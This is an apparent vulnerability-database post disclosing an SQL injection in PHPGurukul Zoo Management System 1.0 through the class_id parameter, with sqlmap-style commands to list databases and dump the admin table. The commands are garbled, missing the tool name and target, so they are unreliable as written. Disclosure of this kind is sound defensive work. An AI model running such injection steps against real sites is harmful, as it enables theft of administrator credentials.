Sunday, April 10, 2022

PHPGurukul Zoo Management System 1.0 SQL Injection

# Zoo Management System SQL Injection
# Author: D4rkP0w4r
* Description => sql injection at /animals?class_id=1
* Injection Point

# Exploit
* Exploit with Sqlmap
python3 -u -dbs

python3 -u -tables -D zoomanagement

python3 -u -columns -D zoomanagement -T admin -dump

# Vulnerable Code

* No filter `class_id` when inserting data to database


Copyright © 2021 Vulnerability Database | Cyber Details™

thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore